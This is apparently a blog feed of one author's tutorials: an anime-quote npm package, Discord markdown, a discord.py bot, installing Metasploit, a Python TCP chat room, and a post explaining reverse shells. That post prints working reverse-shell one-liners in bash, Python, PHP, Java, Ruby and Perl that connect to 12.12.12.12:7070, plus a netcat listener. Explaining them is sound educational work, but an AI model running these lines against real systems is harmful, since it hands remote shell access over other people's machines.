Credits

Yuma-Tsushima07 / Yuma-Tsushima07

Readme file

Welcome to Yuma-Tsushima's Github page!

Visitor count

About Myself

Talents and Hobbies

Check out my work!:
❯ Soundcloud : 0c7av3h4ck5
❯ Discord : {CyberArtByte}
❯ Artwork : AcceleratorArts07

Recent Medium…

View on GitHub

Follow me!

Github: https://github.com/Yuma-Tsushima07
Medium: https://0xv37r1x3r.medium.com/
SoundCloud: https://soundcloud.com/0c7av3h4ck5

Discord Servers!!

Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

CyberArtByte: My server full of bling and joy!!

Link: https://discord.com/invite/mNAWykv67W

New Soundcloud Track!!

Author: Yuma-Tsushima

[Node.js] Introducing Aniquotes

Yuma-Tsushima — Mon, 28 Jun 2021 10:38:16 +0000

Introducing Aniquotes! The one and only anime quote grabber.
Aniquotes can collect and slice quotes out the mix, from characters and your favourites, Attack on Titan and Tokyo ghoul!
You can use npm to install my module!
Before you keep reading please star my repo bellow :)

Yuma-Tsushima07 / aniquotes

Collects anime quotes!

aniquotes

Collects anime quotes for node.js, discord.js Who doesn't like a dose of anime from time to time, maybe a quote to motivate you?

Usage

Discord.js Example

const { MessageEmbed } = require('discord.js');
const { randomQuote } = require('aniquotes-npm')
const { searchAnime } = require('node-kitsu'); // credits to the person who made node-kitsu!!
module.exports = {
  name: "aniquote",
run: async ( client, message) => {
    const { quote, anime, id, name } = randomQuote();

    const res = await searchAnime(anime,0).catch(()=>{}) || [];

    const image = res?.[0]?.attributes?.coverImage?.original || null;

    return message.channel.send(
      new MessageEmbed()

…

View on GitHub

Getting Starting

Firstly, you will need node.js to install and implement this package into your projects.

Then use npm to install my module..

npm install aniquotes-npm

or ...

npm i aniquotes-npm

How to use Aniquotes?

You may ask to yourself, I have installed the module but how to use this?
You may add it into your discord bot.

Example

const { MessageEmbed } = require('discord.js');
const { randomQuote } = require('aniquotes-npm')
const { searchAnime } = require('node-kitsu'); // credits to the person who made node-kitsu!!
module.exports = {
  name: "aniquote",
run: async ( client, message) => {

    const { quote, anime, id, name } = randomQuote();

    const res = await searchAnime(anime,0).catch(()=>{}) || [];

    const image = res?.[0]?.attributes?.coverImage?.original || null;

    return message.channel.send(
      new MessageEmbed()
      .setColor(`#b60c0c`)
      .addField(`Quoted from ${anime}*`,`${quote}\n\n-${name}`)
      .setImage(image)
      .setTimestamp()
      .setFooter('Made by Yuma-Tsushima07 with ❤️')
    );
  }
};

This is freshly from my Discord bot by the way ;)

You may use it like this also if you wanted to add it with your other projects.

const aniquote = require('aniquotes-npm')

// Shows a random anime quote
console.log(aniquote.randomQuote())

// You can also fetch quotes by their id
console.log(aniquote.getQuote(7))

// Fetching quotes from an anime! Nice!!
console.log(aniquote.getQuotesByAnime('Tokyo Ghoul'))

// Who said you couldn't fetch quotes from a character!
console.log(aniquote.getQuotesByCharacter('Sakura Kinomoto'))

For further examples check out my repo! Please drop a comment and star bellow!

Yuma-Tsushima07 / aniquotes

Collects anime quotes!

aniquotes

Collects anime quotes for node.js, discord.js Who doesn't like a dose of anime from time to time, maybe a quote to motivate you?

Usage

Discord.js Example

const { MessageEmbed } = require('discord.js');
const { randomQuote } = require('aniquotes-npm')
const { searchAnime } = require('node-kitsu'); // credits to the person who made node-kitsu!!
module.exports = {
  name: "aniquote",
run: async ( client, message) => {
    const { quote, anime, id, name } = randomQuote();

    const res = await searchAnime(anime,0).catch(()=>{}) || [];

    const image = res?.[0]?.attributes?.coverImage?.original || null;

    return message.channel.send(
      new MessageEmbed()

…

View on GitHub

Thanks for reading. Please give me some credit bellow <3

Credits

Yuma-Tsushima07 / Yuma-Tsushima07

Readme file

Welcome to Yuma-Tsushima's Github page!

Visitor count

About Myself

Talents and Hobbies

Check out my work!:
❯ Soundcloud : 0c7av3h4ck5
❯ Discord : {CyberArtByte}
❯ Artwork : AcceleratorArts07

Recent Medium…

View on GitHub

Follow me!

Github: https://github.com/Yuma-Tsushima07
Medium: https://0xv37r1x3r.medium.com/
SoundCloud: https://soundcloud.com/0c7av3h4ck5

Discord Servers!!

Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

CyberArtByte: My server full of bling and joy!!

Link: https://discord.com/invite/mNAWykv67W

New Soundcloud Track!!

Author: Yuma-Tsushima

[Markdown] How you do you use markdown text on Discord?

Yuma-Tsushima — Sun, 27 Jun 2021 19:51:57 +0000

You want to be cool on Discord and show of your friends with the ability to use the one and only Markdown text.
Discord uses Markdown, a simple plain text formatting system that'll help you make your sentences stand out. Here's how to do it! Just add a few characters before & after your desired text to change your text! I'll show you some examples...

Text Styles

*Italics* --> *italics* or _italics_

__*Underline italics*__ --> _*underline italics*_

**Bold** --> **bold**

__**Underline bold**__ --> _**underline bold**_

***Bold Italics*** --> ***bold italics***

__***underline bold italics***__ --> _***underline bold italics***_

__Underline__ --> __underline__

~~Strikethrough~~ --> ~~Strikethrough~~

Don't want to use markdown? You can slap a backslash in front of your statement, or put your message in a code block, and it'll escape the markdown formatting. You'll see those asterisks as you'd like! Just keep in mind, it doesn't work in messages with edits or underscores.

Block Quotes

The syntax to use Block Quotes is > or >>> followed by a space.

> at the beginning of a line of text, creates a single-line block quote.

>>> at the beginning of a line of text, creates a multi-line block quote. All text from >>> until the end of the message will be included in the quote.

Code Blocks

Discord also supports code blocks as well. You can make your own code blocks by wrapping your text in backticks (`)

You can also use three backticks (`\) to create multiline code blocks.

Syntax Highlighting

If you really want to spruce up your code blocks, you can denote a specific language for syntax highlighting, by typing the name of the language you want the code block to expect right after the first three backticks beginning your code block. An example...

There are many different languages in place of Markdown that Discord's syntax highlighting support. Each different language has its own approach to highlight-able syntax. For a full list: https://highlightjs.org/static/demo/. Note that you won't be able to view syntax highlighting on the mobile app.

CSS

HTML

Bash (bash)

C++ (cpp)

C# (cs)

Markdown (md)

Diff (diff)

Javascript (js)

Python (py)

Shell Session

SQL

Java

JSON

And you get the idea! Now you're a Discord text markdown expert. Get out there and highlight your statements!

Acknowledgements

Hammer and Chisel

Discord Highlight.js

Credits

Yuma-Tsushima07 / Yuma-Tsushima07

This is my readme file!

$ echo "Hello World!"

Visitor count

$ whoami 💻

v37r1x@v37r1x:~$ whoami

I am Yuma (V37R1X) a 17 year old whom studies Chemistry, Mathematics and Information Communication Technology also does Ethical Hacking and Digital Artwork as a side task.

$ cat learning.txt 📘

v37r1x@v37r1x:~$ cat learning.txt
"I love learning a lot of things! Knowledge is power!!"

What am I learning next?

⭐ Bio Hacking
⭐ Bug Bounty
⭐ C#
⭐ Pentesting

$ cat hobbies.txt 👨‍🎨

v37r1x@v37r1x:~$ cat hobbies.txt
"Having an endless list of hobbies is the key to unlock your potential!"

Hobbies

🎨 Digital Artwork
👚 Sewing
✏️ Drawing
🎵 Making Music

$ cat introduction.txt 🔎

v37r1x@v37r1x:~$ cat introduction.txt
"Hello, to everyone who does not know me, I am just an normal person who does crazy things."

I am just a regular person who came from the…

View on GitHub

Follow me!

Github: https://github.com/Yuma-Tsushima07
Medium: https://0xv37r1x3r.medium.com/
SoundCloud: https://soundcloud.com/0c7av3h4ck5

Discord Servers!!

Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

CyberArtByte: My server full of bling and joy!!

Link: https://discord.com/invite/mNAWykv67W

New Soundcloud Track!!

Author: Yuma-Tsushima

[Python] How to make Discord bot? (Beginner Friendly)

Yuma-Tsushima — Sun, 27 Jun 2021 16:36:25 +0000

Ever wanted to make a Discord Bot but failed or didn't understand how? Must have kept your heads scraching for a while!

Never fear! I will guide you through on how to make a bot using python.

Remember to install python and discord or use discord on your browser.

Before you keep reading: give me a ✨ on my repo <3!

Yuma-Tsushima07 / Python-Tutorial-Bot

Python-Tutorial-Bot

View on GitHub

Introduction

What will you need?

Firstly, before you start you will need an IDE or code editor!
Use something like Visual Studio Code, Sublime Text or Atom.
Then you once you have installed Discord or opened it.
Make a server and make sure its organised so you know what you are doing. Use the Discord Developers Portal to make a bot.

Since you’re learning how to make a Discord bot with Python, you’ll be using discord.py.

Discord.py is a Python library that exhaustively implements Discord’s APIs in an efficient and Pythonic way. This includes utilizing Python’s implementation of Async IO.

Use pip to install discord.py.

pip install discord.py

pip3 install discord.py

Now that you’ve installed discord.py, we will begin!

Coding the Bot

Now, we can move on to the actual coding of the bot. Open up a new .py file in whatever IDE you prefer, and import the discord library.

import discord

Next, we need to establish our Discord client. The bot client that is connecting to discord.

import discord
client = discord.Client()

Now, this is where the fun begins. Within the discord.py library, there are certain events that the bot is able to respond to, including when a message is sent and when the bot is ready. Take this example:

import discord
client = discord.Client()

@client.event
async def on_ready():
    print("The bot is ready!")

Now, whenever the bot is ready for use after startup, it will print out The bot is ready!. It runs anything that is in the function. Cool, right? We can use this to do other things, too, such as set a play status for the bot, as so:

import discord
client = discord.Client()

@client.event
async def on_ready():
    print("The bot is ready!")
    await client.change_presence(game=discord.Game(name="Making a    bot"))

This may look a little bit confusing, but hear me out. We have to put “await” in front of it since it is a coroutine, which basically allows multi-tasking so the bot can respond to different events at the same time. Got it? So, when we call the change_presencemethod on the Discord client, it changes the presence of the client to show that it is playing the game “Making a bot”, since we created a Game object with the name “Making a bot”.

Next, we can get on to actually making bot commands. We detect if a message is sent with this function that takes the parameter “message”, which will be equal to the message that was sent. We don’t want the bot to be able to respond to itself in any circumstances, so if the author of the message is equal to the client, we stop the function.

import discord
client = discord.Client()

@client.event
async def on_ready():
    print("The bot is ready!")
    await client.change_presence(game=discord.Game(name="Making a    bot"))

@client.event
async def on_message(message):
    if message.author == client.user:
        return

We can make some commands that our bot can respond to now. For starters, we’ll make a really simple thing, so if we say “Hello” the bot will say “World” back.

import discord
client = discord.Client()

@client.event
async def on_ready():
    print("The bot is ready!")
    await client.change_presence(game=discord.Game(name="Making a    bot"))

@client.event
async def on_message(message):
    if message.author == client.user:
        return
    if message.content == "Hello":
        await client.send_message(message.channel, "World")

First, we check if the content of the message is equal to “Hello”. If it’s anything else, the bot will not respond with “World”. Then, the send_message method takes two parameters, the channel to send the message to, and the message to send (in the form of a string). The bot awaits until it sends this message, then looks for another response. Amazing! We just made our first bot using discord.py, but how can we connect it to our server now? Well, there’s one more piece of code we forgot.

At the end of the code, you MUST add the client.run() function, which runs the bot. It only takes one parameter, which is your bot’s token, which you should have seen earlier. Put this token in, and your bot should start up when you run the program!

import discord
client = discord.Client()

@client.event
async def on_ready():
    print("The bot is ready!")
    await client.change_presence(game=discord.Game(name="Making a    bot"))

@client.event
async def on_message(message):
    if message.author == client.user:
        return
    if message.content == "Hello":
        await client.send_message(message.channel, "World")
client.run(TOKEN)

Thank you for reading it would be really nice to look around bellow at my credits <33.
Comment if you want more tutorials like this!

Credits

Yuma-Tsushima07 / Yuma-Tsushima07

Readme file

Welcome to Yuma-Tsushima's Github page!

Visitor count

About Myself

Talents and Hobbies

Check out my work!:
❯ Soundcloud : 0c7av3h4ck5
❯ Discord : {CyberArtByte}
❯ Artwork : AcceleratorArts07

Recent Medium…

View on GitHub

Follow me!

Github: https://github.com/Yuma-Tsushima07
Medium: https://0xv37r1x3r.medium.com/
SoundCloud: https://soundcloud.com/0c7av3h4ck5

Discord Servers!!

Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

CyberArtByte: My server full of bling and joy!!

Link: https://discord.com/invite/mNAWykv67W

New Soundcloud Track!!

Author: Yuma-Tsushima

[Cybersecurity & Linux Tools] How to install Metasploit?

Yuma-Tsushima — Fri, 25 Jun 2021 20:49:08 +0000

Many people have been using this tool Metasploit. You came across on it on many tutorials and wondered how do you actually install this?
Well I will guide your through!

What is the purpose of Metasploit? What do people even use it for?

The Metasploit framework is a very powerful tool which can be used by cybercriminals as well as ethical hackers to probe systematic vulnerabilities on networks and servers. Because it’s an open-source framework, it can be easily customized and used with most operating systems.

With Metasploit, the pen testing team can use ready-made or custom code and introduce it into a network to probe for weak spots. As another flavour of threat hunting, once flaws are identified and documented, the information can be used to address systemic weaknesses and prioritize solutions.

Who uses Metasploit?

Due to its wide range of applications and open-source availability, Metasploit is used by everyone from the evolving field of DevSecOps pros to hackers. It’s helpful to anyone who needs an easy to install, reliable tool that gets the job done regardless of which platform or language is used. The software is popular with hackers and widely available, which reinforces the need for security professionals to become familiar with the framework even if they don’t use it.

Metasploit now includes more than 1677 exploits organized over 25 platforms, including Android, PHP, Python, Java, Cisco, and more. The framework also carries nearly 500 payloads, some of which include:

Command shell payloads that enable users to run scripts or random commands against a host
Dynamic payloads that allow testers to generate unique payloads to evade antivirus software
Meterpreter payloads that allow users to commandeer device monitors using VMC and to take over sessions or upload and download files
Static payloads that enable port forwarding and communications between networks

How to install Metasploit?

Now we have read the background information. You are ready to install!

sudo apt update
sudo apt dist-upgrade
sudo apt autoremove


cd /tmp

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

chmod +x msfinstall
sudo ./msfinstall

msfdb init

msfconsole

sudo msfupdate

Credits

Yuma-Tsushima07 / Yuma-Tsushima07

Readme file

Welcome to Yuma-Tsushima's Github page!

Visitor count

About Myself

Talents and Hobbies

Check out my work!:
❯ Soundcloud : 0c7av3h4ck5
❯ Discord : {CyberArtByte}
❯ Artwork : AcceleratorArts07

Recent Medium…

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Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

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New Soundcloud Track!!

[Cybersecurity] How do Reverse shells work?

Yuma-Tsushima — Fri, 25 Jun 2021 20:24:24 +0000

Reverse Shells

How do reverse shells work?

To make a connection to a typical remote shell, a machine controlled by the attacker connects to the remote network host and it requests a shell connection.
This is called a blind shell

But what if the remote host is not directly accessible, like it has public IP or is protected by a firewall?

In this situation reverse shells maybe shouldn't be used, where the target machine initiates connection to the listening network host a shell is now established.

Reverse Shells Examples

To start you need a listener process on their system to listen the reverse shell connections incoming to their IP address, Eg, 12.12.12.12
On Linux, this can be as simple as one netcat command.

nc -lvnp 7070

The netcat listener will listen at port 7070. An attacker needs to execute the code to the listener. Many reverse shells needs programming langs
and systems.
Check out pentestmonkey’s Reverse Shell Cheat Sheet for more.
Codes are typically one-liners to allow injection using a single command.
While the examples below are for Linux and other Unix-like systems, many of them will also work on Windows if you change the command line interpreter call from /bin/sh -i to cmd.exe.

Bash Reverse Shell

If the target machine runs Linux, it’s a good idea to start with bash, as nearly all Linux systems come with this system shell:

/bin/bash -i >& /dev/tcp/12.12.12.12/7070 0>&1

Python Reverse Shell

With Python continuing to gain popularity, there’s a good chance it’s available on the target server and can be used to execute a script like:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("12.12.12.12",7070));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

Most web servers will have PHP installed, and this too can provide a reverse shell vector (if the file descriptor &3 doesn’t work, you can try subsequent numbers):

php -r '$sock=fsockopen("12.12.12.12",7070);exec("/bin/sh -i <&3 >&3 2>&3");'

Java Reverse Shell

Java is likely to be available on application servers:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/12.12.12.12/7070;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ruby Reverse Shell

Ruby is another popular web application language that’s likely to have an interpreter on a general-purpose server system:

ruby -rsocket -e'f=TCPSocket.open("12.12.12.12",7070).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Perl Reverse Shell

As with bash, a perl interpreter should be available on most Linux servers, so a perl command might be another way to obtain a reverse shell:

perl -e 'use Socket;$i="12.12.12.12";$p=7070;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Check out my Gist Here

Credits

Yuma-Tsushima07 / Yuma-Tsushima07

Readme file

Welcome to Yuma-Tsushima's Github page!

Visitor count

About Myself

Talents and Hobbies

Check out my work!:
❯ Soundcloud : 0c7av3h4ck5
❯ Discord : {CyberArtByte}
❯ Artwork : AcceleratorArts07

Recent Medium…

View on GitHub

Follow me!

Github: https://github.com/Yuma-Tsushima07
Medium: https://0xv37r1x3r.medium.com/
SoundCloud: https://soundcloud.com/0c7av3h4ck5

Discord Servers!!

Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

CyberArtByte: My server full of bling and joy!!

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New Soundcloud Track!!

Author: Yuma-Tsushima07

[Python] Coding a TCP Room in 200 lines

Yuma-Tsushima — Tue, 15 Jun 2021 16:51:55 +0000

Coding made easy, maybe try making a TCP chat room?

This post is also on Medium you may also have a look at it and share both links if one doesn't work!

Medium: [Python] Coding a TCP Room in 200 lines

Introduction

Coding a TCP Room in about 200 lines, let’s dive into our adventure! TCP is a transmission control protocol which is one of the main protocols of an Internet protocol suite. This simple program helps us learn about sockets and Client Side Architecture! Python in general is a great language to start with from beginners to advanced! And of course, it allows us to create solid applications very fast and easily. For a further challenge, you can also add custom features like chat rooms, commands, roles, send images etc…

What is Client Side Architecture?

Our application, will need client-server architecture, meaning we will have many clients (the users) and one central server that hosts everything and provides the data for the clients. Hence, we are going to write two Python scripts. One of the scripts will be starting the server and one will be for the client. We will have to run the server first, so that there is a chat, which the clients can connect to. The clients themselves, are not going to directly communicate to each other but via the central server.

Staring the Server

Let’s start implementing the server first, for this we require two modules named socket and threading. Socket is used for network connection and threading is used for performing various tasks at the same time.

import threading
import socket

Module requirements

Next, we define our connection data and to initialise our socket. We will need an IP-address for the host and a free port number for our server. In this example, we will use the localhost address (127.0.0.1) and the port 5000. The port is actually irrelevant but you have to make sure that the port you are using is free and not reserved. If you are running this script on an actual server, specify the IP-address of the server as the host.

host = '127.0.0.1'
port = 5000
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen()
clients = []
aliases = []

Socket definition and port initiation

When we define our socket, we need to pass two parameters. These define the type of socket we want to use. The first one (AF_INET) indicates that we are using an internet socket rather than an UNIX socket. The second parameter stands for the protocol we want to use (SOCK_STREAM) indicates that we are using TCP and not UDP. After defining the socket, we bind it to our host and the specified port by passing a tuple that contains both values. We then put our server into listening mode, so that it waits for clients to connect. At the end we create two empty lists, which we will use to store the connected clients and their aliases later on.

def broadcast(message):
    for client in clients:
        client.send(message)

Broadcast function

Here we define a little function that is going to help us broadcasting messages and makes the code more readable. What it does is just sending a message to each client that is connected and therefore in the clients list.

Now we will start with the implementation of the first major function. This function will be responsible for handling messages from the clients.

def handle_client(client):
    while True:
        try:
           message = client.recv(1024)
           broadcast(message)
        except:
           index = clients.index(client)
           clients.remove(client)
           client.close()
           alias = aliases[index]
           broadcast(f'{alias} has left the chatroom!'.encode('utf-8'))
           aliases.remove(alias)
           break

While-Loop Function

As you can see, this function is running in a while-loop. It won’t stop unless there is an exception because of something that went wrong. The function accepts a client as a parameter. Every time a client connects to our server we run this function for it and it starts an endless loop.

def receive():
    while True:
        print('Server is running and listening ...')
        client, address = server.accept()
        print(f'connection is established with {str(address)}')
        client.send('alias?'.encode('utf-8'))
        alias = client.recv(1024)
        aliases.append(alias)
        clients.append(client)
        print(f'The alias of this client is {alias}'.encode('utf-8'))
        broadcast(f'{alias} has connected to the chat room!'.encode('utf-8'))
        client.send('You are now connected!'.encode('utf-8'))
        thread = threading.Thread(target=handle_client, args=(client,))
        thread.start()

Receiving / Listening Function

When we are ready to run our server, we will execute this receive function. It also starts an endless while-loop which constantly accepts new connections from clients. Once a client is connected it sends the string ‘alias’ to it, which will tell the client that its nickname is requested. After that it waits for a response (which hopefully contains the alias) and appends the client with the respective aliases to the lists. After that, we print and broadcast this information. Finally, we start a new thread that runs the previously implemented handling function for this particular client. Now we can just run this function and our server is done.

Notice that we are always encoding and decoding the messages here. The reason for this is that we can only send bytes and not strings. So we always need to encode messages (for example using UTF-8), when we send them and decode them, when we receive them.

if __name__ == "__main__":
    receive()

Receive Function

Implementing The Client

The server on its own is pretty useless without clients to connect with it. So now we are going to implement our client. For this, we will again need to import the same libraries. Notice that this is now a second separate script.

import threading
import socket

Module implements

The first steps of the client are to choose an alias and to connect to our server. We will need to know the exact address and the port at which our server is running.

alias = input('Choose an alias --> ')
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 5000))

Alias input and socket initialisation

As you can see, we are using a different function here. Instead of binding the data and listening, we are connecting to an existing server. Now, a client needs to have two threads that are running at the same time. The first one will constantly receive data from the server and the second one will send our own messages to the server. So we will need two functions here. Let’s start with the receiving part.

def client_receive():
    while True:
        try:
            message = client.recv(1024).decode('utf-8')
            if message == "alias?":
                client.send(alias.encode('utf-8'))
            else:
                print(message)
        except:
            print('Error!')
            client.close()
            break

Receive data function

Again we have an endless while-loop here. It constantly tries to receive messages and to print them onto the screen. If the message is alias however, it doesn’t print it but it sends its nickname to the server. In case there is some error, we close the connection and break the loop. Now we just need a function for sending messages and we are almost done.

def client_send():
    while True:
        message = f'{alias}: {input("")}'
        client.send(message.encode('utf-8'))

Client send function

The writing function is quite a short one. It also runs in an endless loop which is always waiting for an input from the user. Once it gets some, it combines it with the nickname and sends it to the server. That’s it we are nearly there. The last thing we need to do is to start two threads that run these two functions.

receive_thread = threading.Thread(target=client_receive)
receive_thread.start()
send_thread = threading.Thread(target=client_send)
send_thread.start()

Starting threads for listening and sending

Demonstration

Here is the fun part of this project! Let’s go for a test run. Just keep in mind that we always need to start the server first because otherwise the clients can’t connect to a non-existing host. Here you can see an example of a chat with two clients (you can also connect with 20 if you want):

As you can see, it works very well! You can now modify and customize your chat however you want. Maybe you want to have multiple chat rooms or maybe you want to have different roles like admin and moderator. Be creative!

Source Code

Here is the source code:
TCP ChatRoom

Check out my repo as well!!
https://github.com/Yuma-Tsushima07/tcpchatroom

I hope you enjoyed this tutorial and you learned something. If you are interested in a GUI version of this chat, please leave a comment. It works quite differently, since it works more with events than with endless loops. Also, if you want to tell me something or ask questions, feel free to ask in the comments! Check out my Github page , if you are interested in more! Stay tuned!

Credits

Thank you! Cinnamon1212 (Cinnamon#7617) for this project idea!

Check out his Github: https://github.com/Cinnamon1212
Check out our Discord Support Server: https://discord.gg/DxCvp627AT

Follow me!

Github: https://github.com/Yuma-Tsushima07
Medium: https://0xv37r1x3r.medium.com/
SoundCloud: https://soundcloud.com/0c7av3h4ck5

Discord Servers!!

Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

CyberArtByte: My server full of bling and joy!!

Link: https://discord.com/invite/mNAWykv67W

Author: Yuma-Tsushima07